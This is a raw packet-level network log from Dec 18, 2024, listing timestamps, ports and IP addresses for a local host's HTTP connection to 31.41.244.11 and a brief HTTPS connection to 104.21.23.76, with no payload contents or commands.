Dec 18, 2024 09:07:31.556066990 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.556339979 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.556555986 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.556567907 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.556613922 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.557610989 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.557621956 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.557662010 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.558665991 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.559343100 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.559392929 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.559783936 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.559794903 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.559837103 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.560818911 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.560830116 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.560868979 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.560902119 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.561479092 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.561521053 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.561563969 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.562556982 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.562597036 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.562642097 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.563648939 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.563688040 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.563729048 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.564933062 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.564989090 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.565103054 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.565256119 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.565656900 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.565696955 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.565738916 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.566566944 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.566709042 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.566752911 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.567631006 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.567708969 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.567785025 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.568764925 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.568802118 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.568864107 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.568980932 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.569819927 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.569830894 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.569876909 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.570880890 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.570892096 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.570930958 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.571595907 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.571897030 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.571939945 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.572679043 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.572731018 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.572789907 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.573641062 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.573683977 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.574057102 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.574709892 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.574753046 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.574754000 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.574790955 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.575803995 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.575814009 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.575858116 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.576710939 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.576843977 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.576884031 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.577721119 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.578073978 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.578126907 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.578793049 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.578836918 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.578986883 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.579756021 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.579793930 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.579807043 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.579834938 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.580725908 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.580782890 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.580840111 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.581805944 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.581815958 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.581857920 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.582731962 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.582876921 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.582914114 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.582931042 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.583801031 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.583837986 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.583844900 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.583935976 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.584872007 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.584913969 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.584914923 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.584949970 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.585824013 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.585866928 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.585939884 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.586054087 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.586822987 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.586878061 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.586889029 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.586932898 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.587887049 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.588048935 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.588078022 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.588090897 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.588956118 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.588965893 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.589008093 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.590017080 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.590032101 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.590075016 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.591080904 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.591090918 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.591129065 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.591840982 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.591901064 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.591952085 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.592879057 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.593200922 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.593242884 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.593882084 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.594026089 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.594068050 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.594974995 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.595010996 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.595015049 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.595048904 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.595906973 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.595944881 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.595997095 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.596043110 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:31.596076965 CET	443	49722	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:31.596139908 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:31.596970081 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.597008944 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.597049952 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.598046064 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.598295927 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.598336935 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.599126101 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.599138021 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.599164009 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.599189997 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.599951029 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.600018024 CET	49722	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:31.600024939 CET	443	49722	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:31.600035906 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.600970984 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.600984097 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.601033926 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.601093054 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.601716995 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.601993084 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.602034092 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.602319956 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.602474928 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.603007078 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.603048086 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.603162050 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.603207111 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.604124069 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.604167938 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.604234934 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.604279995 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.605050087 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.605094910 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.605506897 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.605957985 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.606000900 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.743974924 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.744040012 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.744092941 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.744157076 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.744206905 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.744299889 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.744343042 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.745894909 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.745907068 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.745951891 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.746342897 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.746388912 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.746495008 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.746643066 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.747261047 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.747304916 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.747348070 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.747394085 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.748434067 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.748452902 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.748481989 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.748501062 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.749305964 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.749349117 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.749639988 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.749713898 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.750339031 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.750411034 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.750919104 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.751025915 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.751362085 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.751403093 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.751669884 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.751713037 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.752296925 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.752347946 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.752459049 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.752516031 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.753336906 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.753375053 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.753412962 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.753494978 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.754534960 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.754545927 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.754581928 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.754614115 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.755302906 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.755347967 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.755477905 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.755556107 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.756432056 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.756480932 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.756652117 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.756695032 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.757355928 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.757400990 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.757456064 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.757603884 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.758382082 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.758429050 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.758491993 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.758549929 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.759385109 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.759428978 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.759555101 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.759701967 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.760459900 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.760514975 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.760551929 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.760667086 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.761497021 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.761538029 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.761724949 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.761775017 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.762783051 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.762794018 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.762831926 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.762852907 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.763484001 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.763520956 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.763843060 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.763983011 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.764646053 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.764657021 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.764699936 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.764719009 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.765500069 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.765615940 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.765655041 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.766680956 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.766733885 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.766798019 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.766845942 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.767479897 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.767533064 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.767663956 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.767707109 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.768737078 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.768747091 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.768785000 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.768806934 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.769929886 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.769942045 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.769998074 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.770591021 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.770646095 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.770684958 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.771541119 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.771590948 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.771598101 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.771662951 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.772532940 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.772583008 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.772945881 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.772988081 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.773574114 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.773622990 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.774024963 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.774092913 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.774605989 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.774652958 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.774727106 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.774872065 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.775582075 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.775654078 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.775737047 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.775785923 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.776614904 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.776662111 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.776700974 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.776781082 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.777692080 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.777704000 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.777749062 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.778770924 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.778783083 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.778819084 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.778844118 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.779880047 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.779891968 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.779932976 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.779961109 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.780958891 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.780968904 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.781011105 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.781939983 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.781965017 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.782010078 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.782815933 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.782830000 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.782855034 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.782876015 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.783883095 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.783893108 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.783931971 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.785005093 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.785016060 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.785060883 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.786062002 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.786072969 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.786117077 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.787374020 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.787384987 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.787434101 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.787967920 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.787980080 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.788032055 CET	49720	80	192.168.2.8	31.41.244.11
